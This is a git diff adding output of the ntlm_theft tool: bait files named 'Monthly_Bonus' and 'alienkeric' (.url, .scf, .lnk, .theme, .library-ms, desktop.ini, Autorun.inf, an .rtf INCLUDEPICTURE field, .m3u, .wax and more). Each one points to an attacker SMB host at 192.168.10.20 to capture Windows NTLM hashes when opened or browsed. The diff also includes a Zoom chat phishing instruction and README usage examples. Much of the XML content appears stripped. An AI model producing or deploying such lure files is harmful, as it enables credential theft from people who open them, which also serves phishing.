diff --git a/Monthly_Bonus/Autorun.inf b/Monthly_Bonus/Autorun.inf
new file mode 100644
index 0000000..eabb8f1
--- /dev/null
+++ b/Monthly_Bonus/Autorun.inf
@@ -0,0 +1,4 @@
+[autorun]
+open=\\192.168.10.20\setup.exe
+icon=something.ico
+action=open Setup.exe
\ No newline at end of file
diff --git a/Monthly_Bonus/Monthly_Bonus-(externalcell).xlsx b/Monthly_Bonus/Monthly_Bonus-(externalcell).xlsx
new file mode 100644
index 0000000..d6f5b2e
Binary files /dev/null and b/Monthly_Bonus/Monthly_Bonus-(externalcell).xlsx differ
diff --git a/Monthly_Bonus/Monthly_Bonus-(frameset).docx b/Monthly_Bonus/Monthly_Bonus-(frameset).docx
new file mode 100644
index 0000000..d9ea1d6
Binary files /dev/null and b/Monthly_Bonus/Monthly_Bonus-(frameset).docx differ
diff --git a/Monthly_Bonus/Monthly_Bonus-(fulldocx).xml b/Monthly_Bonus/Monthly_Bonus-(fulldocx).xml
new file mode 100644
index 0000000..c495041
--- /dev/null
+++ b/Monthly_Bonus/Monthly_Bonus-(fulldocx).xml
@@ -0,0 +1,916 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ ntlm_theft
+
+
+ ntlm_theft
+ 1
+ 2020-03-23T01:21:00Z
+ 2020-03-23T01:24:00Z
+
+
+
+
+
+
+ Normal.dotm
+ 3
+ 1
+ 9
+ 57
+ Microsoft Office Word
+ 0
+ 1
+ 1
+ false
+
+ false
+ 65
+ false
+ false
+ 16.0000
+
+
+
+
\ No newline at end of file
diff --git a/Monthly_Bonus/Monthly_Bonus-(handler).htm b/Monthly_Bonus/Monthly_Bonus-(handler).htm
new file mode 100644
index 0000000..cf306c6
--- /dev/null
+++ b/Monthly_Bonus/Monthly_Bonus-(handler).htm
@@ -0,0 +1,6 @@
+
+
+
+
\ No newline at end of file
diff --git a/Monthly_Bonus/Monthly_Bonus-(icon).url b/Monthly_Bonus/Monthly_Bonus-(icon).url
new file mode 100644
index 0000000..51452c0
--- /dev/null
+++ b/Monthly_Bonus/Monthly_Bonus-(icon).url
@@ -0,0 +1,5 @@
+[InternetShortcut]
+URL=whatever
+WorkingDirectory=whatever
+IconFile=\\192.168.10.20\%USERNAME%.icon
+IconIndex=1
\ No newline at end of file
diff --git a/Monthly_Bonus/Monthly_Bonus-(includepicture).docx b/Monthly_Bonus/Monthly_Bonus-(includepicture).docx
new file mode 100644
index 0000000..38a6ced
Binary files /dev/null and b/Monthly_Bonus/Monthly_Bonus-(includepicture).docx differ
diff --git a/Monthly_Bonus/Monthly_Bonus-(remotetemplate).docx b/Monthly_Bonus/Monthly_Bonus-(remotetemplate).docx
new file mode 100644
index 0000000..bad84c9
Binary files /dev/null and b/Monthly_Bonus/Monthly_Bonus-(remotetemplate).docx differ
diff --git a/Monthly_Bonus/Monthly_Bonus-(stylesheet).xml b/Monthly_Bonus/Monthly_Bonus-(stylesheet).xml
new file mode 100644
index 0000000..c2d8221
--- /dev/null
+++ b/Monthly_Bonus/Monthly_Bonus-(stylesheet).xml
@@ -0,0 +1,3 @@
+
+
+
\ No newline at end of file
diff --git a/Monthly_Bonus/Monthly_Bonus-(url).url b/Monthly_Bonus/Monthly_Bonus-(url).url
new file mode 100644
index 0000000..8ff84aa
--- /dev/null
+++ b/Monthly_Bonus/Monthly_Bonus-(url).url
@@ -0,0 +1,2 @@
+[InternetShortcut]
+URL=file://192.168.10.20/leak/leak.html
\ No newline at end of file
diff --git a/Monthly_Bonus/Monthly_Bonus.application b/Monthly_Bonus/Monthly_Bonus.application
new file mode 100644
index 0000000..7c87de4
--- /dev/null
+++ b/Monthly_Bonus/Monthly_Bonus.application
@@ -0,0 +1,18 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+ ESZ11736AFIJnp6lKpFYCgjw4dU=
+
+
+
+
\ No newline at end of file
diff --git a/Monthly_Bonus/Monthly_Bonus.asx b/Monthly_Bonus/Monthly_Bonus.asx
new file mode 100644
index 0000000..b9f2c8a
--- /dev/null
+++ b/Monthly_Bonus/Monthly_Bonus.asx
@@ -0,0 +1,7 @@
+
+ Leak
+
+
+ 
+
\ No newline at end of file
diff --git a/Monthly_Bonus/Monthly_Bonus.jnlp b/Monthly_Bonus/Monthly_Bonus.jnlp
new file mode 100644
index 0000000..5e21a92
--- /dev/null
+++ b/Monthly_Bonus/Monthly_Bonus.jnlp
@@ -0,0 +1,7 @@
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/Monthly_Bonus/Monthly_Bonus.library-ms b/Monthly_Bonus/Monthly_Bonus.library-ms
new file mode 100644
index 0000000..58b2545
--- /dev/null
+++ b/Monthly_Bonus/Monthly_Bonus.library-ms
@@ -0,0 +1,29 @@
+
+
+@shell32.dll,-34575
+S-1-5-21-372074477-2495183225-776587326-1000
+1
+true
+\\192.168.10.20\aa
+
+{7d49d726-3c21-4f05-99aa-fdc2c9474656}
+
+
+
+@shell32.dll,-34577
+true
+
+knownfolder:{FDD39AD0-238F-46AF-ADB4-6C85480369C7}
+MBAAAEAFCAAA...MFNVAAAAAA
+
+
+
+@shell32.dll,-34579
+true
+
+knownfolder:{ED4824AF-DCE4-45A8-81E2-FC7965083634}
+MBAAAEAFCAAA...HJIfK9AAAAAA
+
+
+
+
\ No newline at end of file
diff --git a/Monthly_Bonus/Monthly_Bonus.lnk b/Monthly_Bonus/Monthly_Bonus.lnk
new file mode 100644
index 0000000..0426a56
Binary files /dev/null and b/Monthly_Bonus/Monthly_Bonus.lnk differ
diff --git a/Monthly_Bonus/Monthly_Bonus.m3u b/Monthly_Bonus/Monthly_Bonus.m3u
new file mode 100644
index 0000000..ca03449
--- /dev/null
+++ b/Monthly_Bonus/Monthly_Bonus.m3u
@@ -0,0 +1,3 @@
+#EXTM3U
+#EXTINF:1337, Leak
+\\192.168.10.20\leak.mp3
\ No newline at end of file
diff --git a/Monthly_Bonus/Monthly_Bonus.odt b/Monthly_Bonus/Monthly_Bonus.odt
new file mode 100644
index 0000000..af928a8
Binary files /dev/null and b/Monthly_Bonus/Monthly_Bonus.odt differ
diff --git a/Monthly_Bonus/Monthly_Bonus.pdf b/Monthly_Bonus/Monthly_Bonus.pdf
new file mode 100644
index 0000000..808eca5
Binary files /dev/null and b/Monthly_Bonus/Monthly_Bonus.pdf differ
diff --git a/Monthly_Bonus/Monthly_Bonus.rtf b/Monthly_Bonus/Monthly_Bonus.rtf
new file mode 100644
index 0000000..1830afe
--- /dev/null
+++ b/Monthly_Bonus/Monthly_Bonus.rtf
@@ -0,0 +1 @@
+{\rtf1{\field{\*\fldinst {INCLUDEPICTURE "file://192.168.10.20/test.jpg" \\* MERGEFORMAT\\d}}{\fldrslt}}}
\ No newline at end of file
diff --git a/Monthly_Bonus/Monthly_Bonus.scf b/Monthly_Bonus/Monthly_Bonus.scf
new file mode 100644
index 0000000..f33b3cb
--- /dev/null
+++ b/Monthly_Bonus/Monthly_Bonus.scf
@@ -0,0 +1,5 @@
+[Shell]
+Command=2
+IconFile=\\192.168.10.20\tools\nc.ico
+[Taskbar]
+Command=ToggleDesktop
\ No newline at end of file
diff --git a/Monthly_Bonus/Monthly_Bonus.theme b/Monthly_Bonus/Monthly_Bonus.theme
new file mode 100644
index 0000000..b25c65c
--- /dev/null
+++ b/Monthly_Bonus/Monthly_Bonus.theme
@@ -0,0 +1,66 @@
+[Theme]
+; Windows - IDS_THEME_DISPLAYNAME_AERO_LIGHT
+DisplayName=\192.168.10.20 Theme
+SetLogonBackground=0
+; Computer - SHIDI_SERVER
+[CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\DefaultIcon]
+DefaultValue=\\192.168.10.20\setup.exe,-109
+
+; UsersFiles - SHIDI_USERFILES
+[CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\DefaultIcon]
+DefaultValue=\\192.168.10.20\setup.exe,-123
+
+; Network - SHIDI_MYNETWORK
+[CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\DefaultIcon]
+DefaultValue=\\192.168.10.20\setup.exe,-25
+
+; Recycle Bin - SHIDI_RECYCLERFULL SHIDI_RECYCLER
+[CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\DefaultIcon]
+Full=\\192.168.10.20\setup.exe,-54
+Empty=\\192.168.10.20\setup.exe,-55
+
+[Control Panel\Cursors]
+AppStarting=\\192.168.10.20\setup.exe
+Arrow=\\192.168.10.20\aero_arrow.cur
+Crosshair=
+Hand=\\192.168.10.20\aero_link.cur
+Help=\\192.168.10.20\aero_helpsel.cur
+IBeam=
+No=\\192.168.10.20\aero_unavail.cur
+NWPen=\\192.168.10.20\aero_pen.cur
+SizeAll=\\192.168.10.20\aero_move.cur
+SizeNESW=\\192.168.10.20\aero_nesw.cur
+SizeNS=\\192.168.10.20\aero_ns.cur
+SizeNWSE=\\192.168.10.20\aero_nwse.cur
+SizeWE=\\192.168.10.20\aero_ew.cur
+UpArrow=\\192.168.10.20\aero_up.cur
+Wait=\\192.168.10.20\aero_busy.ani
+DefaultValue=Windows Default
+DefaultValue.MUI=@main.cpl,-1020
+
+[Control Panel\Desktop]
+Wallpaper=\\192.168.10.20\setup.exe
+TileWallpaper=0
+WallpaperStyle=10
+Pattern=
+MultimonBackgrounds=0
+
+[VisualStyles]
+Path=\\192.168.10.20\Themes\Aero\Aero.msstyles
+ColorStyle=NormalColor
+Size=NormalSize
+AutoColorization=0
+ColorizationColor=0XC40078D4
+SystemMode=Light
+AppMode=Light
+
+[boot]
+SCRNSAVE.EXE=
+
+[MasterThemeSelector]
+MTSM=RJSPBS
+
+[Sounds]
+; IDS_SCHEME_DEFAULT
+SchemeName=@\\192.168.10.20\setup.dll,-800
+
\ No newline at end of file
diff --git a/Monthly_Bonus/Monthly_Bonus.wax b/Monthly_Bonus/Monthly_Bonus.wax
new file mode 100644
index 0000000..c2e8948
--- /dev/null
+++ b/Monthly_Bonus/Monthly_Bonus.wax
@@ -0,0 +1,2 @@
+https://192.168.10.20/test
+file://\\192.168.10.20/steal/file
\ No newline at end of file
diff --git a/Monthly_Bonus/Monthly_Bonus.website b/Monthly_Bonus/Monthly_Bonus.website
new file mode 100644
index 0000000..55762c1
--- /dev/null
+++ b/Monthly_Bonus/Monthly_Bonus.website
@@ -0,0 +1,12 @@
+[{000214A0-0000-0000-C000-000000000046}]
+Prop3=19,2
+Prop4=31,go.microsoft.com
+[InternetShortcut]
+URL=file:///192.168.10.20/
+[{A7AF692E-098D-4C08-A225-D433CA835ED0}]
+Prop5=3,0
+Prop9=19,0
+Prop2=65,2C0000000000000001000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF310000002B000000710600006204000056
+Prop6=3,1
+[{9F4C2855-9F79-4B39-A8D0-E1D42DE1D5F3}]
+Prop5=8,Microsoft.Website.B4BD2547.99055A5E
\ No newline at end of file
diff --git a/Monthly_Bonus/desktop.ini b/Monthly_Bonus/desktop.ini
new file mode 100644
index 0000000..143dd6b
--- /dev/null
+++ b/Monthly_Bonus/desktop.ini
@@ -0,0 +1,2 @@
+[.ShellClassInfo]
+IconResource=\\192.168.10.20\aa
\ No newline at end of file
diff --git a/Monthly_Bonus/zoom-attack-instructions.txt b/Monthly_Bonus/zoom-attack-instructions.txt
new file mode 100644
index 0000000..4833f2e
--- /dev/null
+++ b/Monthly_Bonus/zoom-attack-instructions.txt
@@ -0,0 +1,3 @@
+To attack zoom, just put the following link along with your phishing message in the chat window:
+
+\\192.168.10.20\xyz
diff --git a/README.md b/README.md
index 7d27b3a..6ef5e35 100644
--- a/README.md
+++ b/README.md
@@ -15,6 +15,7 @@ ntlm_theft supports the following attack types:
* .scf – via ICONFILE field (Not Working on Latest Windows)
* autorun.inf via OPEN field (Not Working on Latest Windows)
* desktop.ini - via IconResource field (Not Working on Latest Windows)
+ * .bat – delivered via the URL field or execute via cmd.exe.
* Open Document
* .xml – via Microsoft Word external stylesheet
* .xml – via Microsoft Word includepicture field
@@ -28,10 +29,12 @@ ntlm_theft supports the following attack types:
* .m3u – via Windows Media Player playlist (Worse, Win10 opens first in Groovy)
* .jnlp – via Java external jar
* .application – via any Browser (Must be served via a browser downloaded or won’t run)
+ * .odt – via LibreOffice / OpenOffice
* Open Document and Accept Popup
* .pdf – via Adobe Acrobat Reader
* Click Link in Chat Program
* .txt – formatted link to paste into Zoom chat
+
## Usecases (Why you want to run this)
@@ -49,7 +52,7 @@ These instructions will show you the requirements for and how to use ntlm_theft.
ntlm_theft requires Python3 and xlsxwriter:
```
-pip3 install xlsxwriter
+pip3 install -r requirements.txt
```
### Required Parameters
@@ -67,23 +70,34 @@ To start up the tool 4 parameters must be provided, an input format, the input f
Here is an example of what a run looks like generating all files:
```
-# python3 ntlm_theft.py -g all -s 127.0.0.1 -f test
-Created: test/test.scf (BROWSE)
-Created: test/test-(url).url (BROWSE)
-Created: test/test-(icon).url (BROWSE)
-Created: test/test.rtf (OPEN)
-Created: test/test-(stylesheet).xml (OPEN)
-Created: test/test-(fulldocx).xml (OPEN)
-Created: test/test.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
-Created: test/test-(includepicture).docx (OPEN)
-Created: test/test-(remotetemplate).docx (OPEN)
-Created: test/test-(frameset).docx (OPEN)
-Created: test/test.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
-Created: test/test.asx (OPEN)
-Created: test/test.jnlp (OPEN)
-Created: test/test.application (DOWNLOAD AND OPEN)
-Created: test/test.pdf (OPEN AND ALLOW)
-Created: test/zoom-attack-instructions.txt (PASTE TO CHAT)
+# python3 ntlm_theft.py --generate all --server 192.168.10.20 --filename alienkeric
+Created: alienkeric/alienkeric.scf (BROWSE TO FOLDER)
+Created: alienkeric/alienkeric-(url).url (BROWSE TO FOLDER)
+Created: alienkeric/alienkeric-(icon).url (BROWSE TO FOLDER)
+Created: alienkeric/alienkeric.lnk (BROWSE TO FOLDER)
+Created: alienkeric/alienkeric.rtf (OPEN)
+Created: alienkeric/alienkeric-(stylesheet).xml (OPEN)
+Created: alienkeric/alienkeric-(fulldocx).xml (OPEN)
+Created: alienkeric/alienkeric.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
+Created: alienkeric/alienkeric-(handler).htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
+Created: alienkeric/alienkeric-(includepicture).docx (OPEN)
+Created: alienkeric/alienkeric-(remotetemplate).docx (OPEN)
+Created: alienkeric/alienkeric-(frameset).docx (OPEN)
+Created: alienkeric/alienkeric-(externalcell).xlsx (OPEN)
+Created: alienkeric/alienkeric.wax (OPEN)
+Created: alienkeric/alienkeric.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
+Created: alienkeric/alienkeric.asx (OPEN)
+Created: alienkeric/alienkeric.jnlp (OPEN)
+Created: alienkeric/alienkeric.application (DOWNLOAD AND OPEN)
+Created: alienkeric/alienkeric.pdf (OPEN AND ALLOW)
+Created: alienkeric/zoom-attack-instructions.txt (PASTE TO CHAT)
+Created: alienkeric/alienkeric.library-ms (BROWSE TO FOLDER)
+Created: alienkeric/Autorun.inf (BROWSE TO FOLDER)
+Created: alienkeric/desktop.ini (BROWSE TO FOLDER)
+Created: alienkeric/alienkeric.theme (THEME TO INSTALL
+Created: alienkeric/alienkeric.bat (BROWSE TO FOLDER)
+Created: alienkeric/alienkeric.website (BROWSE TO FOLDER)
+Created: alienkeric/alienkeric.odt (Open in LibreOffice / OpenOffice)
Generation Complete.
```
@@ -93,39 +107,45 @@ Generation Complete.
Here is an example of what a run looks like generating only modern files:
```
-# python3 ntlm_theft.py -g modern -s 127.0.0.1 -f meeting
-Skipping SCF as it does not work on modern Windows
-Created: meeting/meeting-(url).url (BROWSE TO FOLDER)
-Created: meeting/meeting-(icon).url (BROWSE TO FOLDER)
-Created: meeting/meeting.rtf (OPEN)
-Created: meeting/meeting-(stylesheet).xml (OPEN)
-Created: meeting/meeting-(fulldocx).xml (OPEN)
-Created: meeting/meeting.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
-Created: meeting/meeting-(includepicture).docx (OPEN)
-Created: meeting/meeting-(remotetemplate).docx (OPEN)
-Created: meeting/meeting-(frameset).docx (OPEN)
-Created: meeting/meeting-(externalcell).xlsx (OPEN)
-Created: meeting/meeting.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
-Created: meeting/meeting.asx (OPEN)
-Created: meeting/meeting.jnlp (OPEN)
-Created: meeting/meeting.application (DOWNLOAD AND OPEN)
-Created: meeting/meeting.pdf (OPEN AND ALLOW)
+# python3 ntlm_theft.py --generate modern --server 192.168.10.20 --filename alienkeric
+Created: alienkeric/alienkeric-(url).url (BROWSE TO FOLDER)
+Created: alienkeric/alienkeric-(icon).url (BROWSE TO FOLDER)
+Created: alienkeric/alienkeric.lnk (BROWSE TO FOLDER)
+Created: alienkeric/alienkeric.rtf (OPEN)
+Created: alienkeric/alienkeric-(stylesheet).xml (OPEN)
+Created: alienkeric/alienkeric-(fulldocx).xml (OPEN)
+Created: alienkeric/alienkeric.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
+Created: alienkeric/alienkeric-(handler).htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
+Created: alienkeric/alienkeric-(includepicture).docx (OPEN)
+Created: alienkeric/alienkeric-(remotetemplate).docx (OPEN)
+Created: alienkeric/alienkeric-(frameset).docx (OPEN)
+Created: alienkeric/alienkeric-(externalcell).xlsx (OPEN)
+Created: alienkeric/alienkeric.wax (OPEN)
+Created: alienkeric/alienkeric.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
+Created: alienkeric/alienkeric.asx (OPEN)
+Created: alienkeric/alienkeric.jnlp (OPEN)
+Created: alienkeric/alienkeric.application (DOWNLOAD AND OPEN)
+Created: alienkeric/alienkeric.pdf (OPEN AND ALLOW)
Skipping zoom as it does not work on the latest versions
+Created: alienkeric/alienkeric.library-ms (BROWSE TO FOLDER)
Skipping Autorun.inf as it does not work on modern Windows
Skipping desktop.ini as it does not work on modern Windows
+Created: alienkeric/alienkeric.theme (THEME TO INSTALL
+Created: alienkeric/alienkeric.bat (BROWSE TO FOLDER)
+Created: alienkeric/alienkeric.website (BROWSE TO FOLDER)
+Created: alienkeric/alienkeric.odt (Open in LibreOffice / OpenOffice)
Generation Complete.
```
-Here is an example of what a run looks like generating only a xlsx file:
+Here is an example of what a run looks like generating only a odt file:
```
-# python3 ntlm_theft.py -g xlsx -s 192.168.1.103 -f Bonus_Payment_Q4
-Created: Bonus_Payment_Q4/Bonus_Payment_Q4-(externalcell).xlsx (OPEN)
+# python3 ntlm_theft.py --generate odt --server 192.168.10.20 --filename alienkeric
+Created: alienkeric/alienkeric.odt (Open in LibreOffice / OpenOffice)
Generation Complete.
```
## Authors
-
* **Jacob Wilkin** - *Research and Development*
## License
diff --git a/alienkeric/Autorun.inf b/alienkeric/Autorun.inf
new file mode 100644
index 0000000..eabb8f1
--- /dev/null
+++ b/alienkeric/Autorun.inf
@@ -0,0 +1,4 @@
+[autorun]
+open=\\192.168.10.20\setup.exe
+icon=something.ico
+action=open Setup.exe
\ No newline at end of file
diff --git a/alienkeric/alienkeric-(externalcell).xlsx b/alienkeric/alienkeric-(externalcell).xlsx
new file mode 100644
index 0000000..db14693
Binary files /dev/null and b/alienkeric/alienkeric-(externalcell).xlsx differ
diff --git a/alienkeric/alienkeric-(frameset).docx b/alienkeric/alienkeric-(frameset).docx
new file mode 100644
index 0000000..f5e55bc
Binary files /dev/null and b/alienkeric/alienkeric-(frameset).docx differ
diff --git a/alienkeric/alienkeric-(fulldocx).xml b/alienkeric/alienkeric-(fulldocx).xml
new file mode 100644
index 0000000..c495041
--- /dev/null
+++ b/alienkeric/alienkeric-(fulldocx).xml
@@ -0,0 +1,916 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ ntlm_theft
+
+
+ ntlm_theft
+ 1
+ 2020-03-23T01:21:00Z
+ 2020-03-23T01:24:00Z
+
+
+
+
+
+
+ Normal.dotm
+ 3
+ 1
+ 9
+ 57
+ Microsoft Office Word
+ 0
+ 1
+ 1
+ false
+
+ false
+ 65
+ false
+ false
+ 16.0000
+
+
+
+
\ No newline at end of file
diff --git a/alienkeric/alienkeric-(handler).htm b/alienkeric/alienkeric-(handler).htm
new file mode 100644
index 0000000..cf306c6
--- /dev/null
+++ b/alienkeric/alienkeric-(handler).htm
@@ -0,0 +1,6 @@
+
+
+
+
\ No newline at end of file
diff --git a/alienkeric/alienkeric-(icon).url b/alienkeric/alienkeric-(icon).url
new file mode 100644
index 0000000..51452c0
--- /dev/null
+++ b/alienkeric/alienkeric-(icon).url
@@ -0,0 +1,5 @@
+[InternetShortcut]
+URL=whatever
+WorkingDirectory=whatever
+IconFile=\\192.168.10.20\%USERNAME%.icon
+IconIndex=1
\ No newline at end of file
diff --git a/alienkeric/alienkeric-(includepicture).docx b/alienkeric/alienkeric-(includepicture).docx
new file mode 100644
index 0000000..d5c2a6a
Binary files /dev/null and b/alienkeric/alienkeric-(includepicture).docx differ
diff --git a/alienkeric/alienkeric-(remotetemplate).docx b/alienkeric/alienkeric-(remotetemplate).docx
new file mode 100644
index 0000000..fb94650
Binary files /dev/null and b/alienkeric/alienkeric-(remotetemplate).docx differ
diff --git a/alienkeric/alienkeric-(stylesheet).xml b/alienkeric/alienkeric-(stylesheet).xml
new file mode 100644
index 0000000..c2d8221
--- /dev/null
+++ b/alienkeric/alienkeric-(stylesheet).xml
@@ -0,0 +1,3 @@
+
+
+
\ No newline at end of file
diff --git a/alienkeric/alienkeric-(url).url b/alienkeric/alienkeric-(url).url
new file mode 100644
index 0000000..8ff84aa
--- /dev/null
+++ b/alienkeric/alienkeric-(url).url
@@ -0,0 +1,2 @@
+[InternetShortcut]
+URL=file://192.168.10.20/leak/leak.html
\ No newline at end of file
diff --git a/alienkeric/alienkeric.application b/alienkeric/alienkeric.application
new file mode 100644
index 0000000..7c87de4
--- /dev/null
+++ b/alienkeric/alienkeric.application
@@ -0,0 +1,18 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+ ESZ11736AFIJnp6lKpFYCgjw4dU=
+
+
+
+
\ No newline at end of file
diff --git a/alienkeric/alienkeric.asx b/alienkeric/alienkeric.asx
new file mode 100644
index 0000000..b9f2c8a
--- /dev/null
+++ b/alienkeric/alienkeric.asx
@@ -0,0 +1,7 @@
+
+ Leak
+
+
+